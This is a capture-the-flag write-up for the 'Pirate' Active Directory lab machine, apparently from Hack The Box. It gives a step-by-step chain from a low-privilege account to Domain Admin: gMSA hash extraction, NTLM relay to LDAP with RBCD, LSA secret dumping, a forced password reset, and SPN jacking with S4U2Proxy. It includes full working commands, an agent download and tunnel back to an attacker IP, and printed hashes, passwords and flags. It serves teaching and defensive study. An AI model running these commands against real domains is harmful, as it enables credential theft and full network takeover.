Machine Info
- Name: Pirate
- IP: 10.129.244.95 (DC01), 192.168.100.2 (WEB01, internal)
- OS: Windows Server 2019
- Difficulty: Hard
- Key Skills: Pre-Windows 2000 Machine Accounts, gMSA Password Extraction, Ligolo-ng Pivoting, NTLM Relay to LDAP (–remove-mic), Resource-Based Constrained Delegation, ForceChangePassword ACL Abuse, SPN Jacking, Kerberos Constrained Delegation with Protocol Transition
Summary
Pirate is a multi-host Windows Active Directory machine simulating a realistic corporate environment. The domain controller DC01 is dual-homed, connecting to both the HTB VPN and an internal 192.168.100.0/24 subnet hosting WEB01. The attack chains six distinct AD primitives: Pre-Windows 2000 machine account passwords grant access to gMSA credentials. A Ligolo-ng tunnel reaches the internal network, where an NTLM relay with MIC bypass sets up Resource-Based Constrained Delegation on WEB01. After dumping secrets from WEB01, the cleartext password of a.white enables a ForceChangePassword ACL abuse against a.white_adm. Finally, SPN jacking moves a delegated SPN from WEB01 to DC01, and Kerberos S4U2Proxy with service rewriting delivers Domain Administrator access.
Attack Chain:
Pre-Win2000 MS01$ -> gMSA dump -> Ligolo pivot -> NTLM relay RBCD -> WEB01 admin
-> a.white creds -> ForceChangePassword a.white_adm -> SPN jacking -> S4U2Proxy -> DA
Reconnaissance
Port Scan
nmap -sC -sV --top-ports 1000 10.129.244.95
Key open ports:
| Port | Service | Details |
|---|---|---|
| 53 | DNS | Simple DNS Plus |
| 80 | HTTP | Microsoft IIS 10.0 (default page) |
| 88 | Kerberos | Microsoft Windows Kerberos |
| 389/636 | LDAP/LDAPS | AD LDAP (pirate.htb) |
| 445 | SMB | Windows Server 2019 Build 17763 (signing: required) |
| 5985 | WinRM | Microsoft HTTPAPI |
Domain Enumeration
nxc smb 10.129.244.95 -u 'pentest' -p 'p3nt3st2025!&'
Confirms: DC01, domain pirate.htb, Windows Server 2019, SMB signing required.
User Enumeration
nxc smb 10.129.244.95 -u pentest -p 'p3nt3st2025!&' --rid-brute
Domain users discovered:
- Administrator (RID 500)
- a.white_adm (RID 1104) - admin account
- a.white (RID 3101) - regular user
- j.sparrow (RID 3103) - “the pirate”
- WEB01$ (RID 3102) - machine account
- pentest - our provided account
DNS Reconnaissance
dig any web01.pirate.htb @10.129.244.95
- DC01 - 10.129.244.95 (external), 192.168.100.1 (internal)
- WEB01 - 192.168.100.2 (internal only)
ADCS Discovery
nxc ldap 10.129.244.95 -u pentest -p $'p3nt3st2025!&' -M adcs
CA found: pirate-DC01-CA on DC01.pirate.htb. Authenticated Users can enroll.
Initial Access - Pre-Windows 2000 Machine Accounts
Identifying Pre-Win2000 Members
ldapsearch -x -H ldap://10.129.244.95 \
-D "CN=pentest,CN=Users,DC=pirate,DC=htb" \
-w $'p3nt3st2025!&' \
-b "CN=Pre-Windows 2000 Compatible Access,CN=Builtin,DC=pirate,DC=htb" \
member
Members: EXCH01$, MS01$, DC01$
When machine accounts are created with the “Assign this computer account as a pre-Windows 2000 computer” checkbox, their initial password is set to the lowercase hostname (without the $). If the machine was never domain-joined, the password was never changed.
Verifying Credentials
nxc smb 10.129.244.95 -u 'MS01$' -p 'ms01'
Returns STATUS_NOLOGON_WORKSTATION_TRUST_ACCOUNT - confirming the password ms01 is correct. The error occurs because the machine account was never joined to the domain, but the credentials are valid for Kerberos authentication.
Lateral Movement - gMSA Password Extraction
Clock Skew
The DC has a 7-hour clock offset. All Kerberos operations require faketime '+7 hours' to compensate.
Extracting gMSA Passwords
MS01$ is a member of the Domain Secure Servers group, which is allowed to retrieve gMSA passwords.
faketime '+7 hours' nxc ldap 10.129.244.95 \
-u 'MS01$' -p 'ms01' -k --gmsa
Results:
- gMSA_ADCS_prod$ NTLM:
25c7f0eb586ed3a91375dbf2f6e4a3ea - gMSA_ADFS_prod$ NTLM:
fd9ea7ac7820dba5155bd6ed2d850c09
WinRM Access
nxc winrm 10.129.244.95 -u 'gMSA_ADCS_prod$' \
-H '25c7f0eb586ed3a91375dbf2f6e4a3ea'
Both gMSA accounts have WinRM access to DC01 (Pwn3d!). The DC is dual-homed with 192.168.100.1 on the internal subnet.
Pivoting - Ligolo-ng to Internal Network
Setting Up the Tunnel
Upload the ligolo agent to DC01 via WinRM:
# Host HTTP server
python3 -m http.server 9999
# Download agent on DC01
nxc winrm 10.129.244.95 -u 'gMSA_ADCS_prod$' \
-H '25c7f0eb586ed3a91375dbf2f6e4a3ea' \
-x 'Invoke-WebRequest -Uri http://10.10.14.4:9999/agent.exe \
-OutFile C:\Users\gMSA_ADCS_prod$\agent.exe'
Start the ligolo proxy on the attacker machine:
sudo /tmp/proxy -selfcert -laddr 0.0.0.0:11601
Connect the agent from DC01 (run as blocking command to keep alive):
nxc winrm 10.129.244.95 -u 'gMSA_ADCS_prod$' \
-H '25c7f0eb586ed3a91375dbf2f6e4a3ea' \
-x 'C:\Users\gMSA_ADCS_prod$\agent.exe \
-connect 10.10.14.4:11601 -ignore-cert' &
In the ligolo proxy, select the session and start the tunnel. Then add the route:
sudo ifconfig utun9 192.168.100.254/24 192.168.100.254
sudo route add -net 192.168.100.0/24 -interface utun9
Verifying Internal Access
nxc smb 192.168.100.2 -u 'gMSA_ADFS_prod$' \
-H 'fd9ea7ac7820dba5155bd6ed2d850c09'
Confirms SMB access to WEB01. Key finding: SMB signing is disabled on WEB01.
Exploitation - NTLM Relay and RBCD
NTLM Relay Setup
Start ntlmrelayx targeting DC01’s LDAP service with MIC bypass and interactive LDAP shell:
ntlmrelayx.py -t ldap://10.129.244.95 \
--remove-mic -smb2support -i
The --remove-mic flag bypasses Message Integrity Code checks, which is required when relaying SMB to LDAP.
Coercing WEB01 Authentication
Use Coercer to trigger WEB01 to authenticate to our listener:
Coercer coerce -u 'gMSA_ADFS_prod$' \
--hashes ':fd9ea7ac7820dba5155bd6ed2d850c09' \
-d pirate.htb -t 192.168.100.2 -l 192.168.100.254 \
--always-continue --filter-protocol-name MS-EFSR
The relay succeeds - ntlmrelayx reports:
Authenticating against ldap://10.129.244.95 as PIRATE/WEB01$ SUCCEED
Started interactive Ldap shell via TCP on 127.0.0.1:11000 as PIRATE/WEB01$
Setting RBCD via LDAP Shell
Connect to the interactive LDAP shell:
nc 127.0.0.1 11000
Set Resource-Based Constrained Delegation allowing MS01$ to impersonate users on WEB01$:
# set_rbcd WEB01$ MS01$
Delegation rights modified successfully!
MS01$ can now impersonate users on WEB01$ via S4U2Proxy
S4U2Proxy for Administrator Access
Request a service ticket impersonating Administrator for WEB01:
faketime '+7 hours' getST.py pirate.htb/'MS01$':'ms01' \
-spn cifs/WEB01.pirate.htb -impersonate Administrator \
-dc-ip 10.129.244.95
User Flag
Dumping WEB01 Secrets
Use the Administrator ticket to dump local hashes:
export KRB5CCNAME=Administrator@[email protected]
faketime '+7 hours' secretsdump.py -k -no-pass \
-target-ip 192.168.100.2 -dc-ip 10.129.244.95 WEB01.pirate.htb
Local admin hash: b1aac1584c2ea8ed0a9429684e4fc3e5
Reading user.txt
nxc winrm 192.168.100.2 -u Administrator \
-H 'b1aac1584c2ea8ed0a9429684e4fc3e5' --local-auth \
-x 'type C:\Users\a.white\Desktop\user.txt'
206ea25ee5f06a13e7757fcd72796d98
Extracting a.white Credentials
Dump LSA secrets from WEB01:
nxc smb 192.168.100.2 -u Administrator \
-H 'b1aac1584c2ea8ed0a9429684e4fc3e5' --local-auth --lsa
Reveals: PIRATE\a.white cleartext password: E2nvAOKSz5Xz2MJu
Privilege Escalation - SPN Jacking to Domain Admin
ForceChangePassword on a.white_adm
a.white has the ForceChangePassword ACL right over a.white_adm. Reset the password via LDAPS:
import ldap3, ssl
tls = ldap3.Tls(validate=ssl.CERT_NONE)
server = ldap3.Server('ldaps://10.129.244.95', tls=tls)
conn = ldap3.Connection(server, user='[email protected]',
password='E2nvAOKSz5Xz2MJu', auto_bind=True)
conn.extend.microsoft.modify_password(
'CN=Angela W. ADM,CN=Users,DC=pirate,DC=htb',
'PwnedByPirate2026')
Understanding a.white_adm’s Privileges
a.white_adm has two critical permissions:
- Constrained Delegation with Protocol Transition to
HTTP/WEB01.pirate.htb - WriteSPN rights on the DC01$ computer object
The SPN Jacking Attack
The goal: trick the KDC into issuing a service ticket for DC01 instead of WEB01.
Step 1 - Remove HTTP/WEB01.pirate.htb from WEB01$:
conn.modify('CN=WEB01,CN=Computers,DC=pirate,DC=htb',
{'servicePrincipalName':
[(ldap3.MODIFY_DELETE, ['HTTP/WEB01.pirate.htb'])]})
Step 2 - Add HTTP/WEB01.pirate.htb to DC01$:
conn.modify('CN=DC01,OU=Domain Controllers,DC=pirate,DC=htb',
{'servicePrincipalName':
[(ldap3.MODIFY_ADD, ['HTTP/WEB01.pirate.htb'])]})
Now the KDC believes the HTTP service for WEB01 resides on DC01.
Step 3 - Request S4U ticket with service rewrite:
faketime '+7 hours' getST.py pirate.htb/a.white_adm:PwnedByPirate2026 \
-spn HTTP/WEB01.pirate.htb -impersonate Administrator \
-altservice cifs/DC01.pirate.htb -dc-ip 10.129.244.95
Since the S4U2Proxy ticket is encrypted with DC01’s long-term key (because the SPN now resolves to DC01), the -altservice flag rewrites the service portion to cifs/DC01.pirate.htb. The DC accepts this ticket as valid.
Root Flag
export KRB5CCNAME=Administrator@[email protected]
faketime '+7 hours' psexec.py -k -no-pass \
-target-ip 10.129.244.95 -dc-ip 10.129.244.95 \
DC01.pirate.htb 'cmd /c type C:\Users\Administrator\Desktop\root.txt'
a984f8ff19e4a7a2bd89be6375eaeeed
Key Takeaways
-
Pre-Windows 2000 Compatible Access is a dangerous legacy setting. Machine accounts created with this checkbox keep their default password (lowercase hostname) until they’re actually joined to the domain.
-
gMSA credentials are only as secure as the principals allowed to read them. If a compromised Pre-Win2000 machine account is in the retrieval group, the gMSA hash is exposed.
-
SMB signing disabled on internal hosts enables NTLM relay attacks, even when the DC enforces signing. The
--remove-micflag in ntlmrelayx bypasses MIC checks for SMB-to-LDAP relay. -
SPN jacking is a powerful technique when a user has both Constrained Delegation and WriteSPN rights. By moving a delegated SPN to a higher-value target, the S4U2Proxy ticket becomes valid against that target instead.
-
Network segmentation without proper monitoring creates blind spots. The internal WEB01 had weaker security controls (no SMB signing) that were invisible from external scanning.
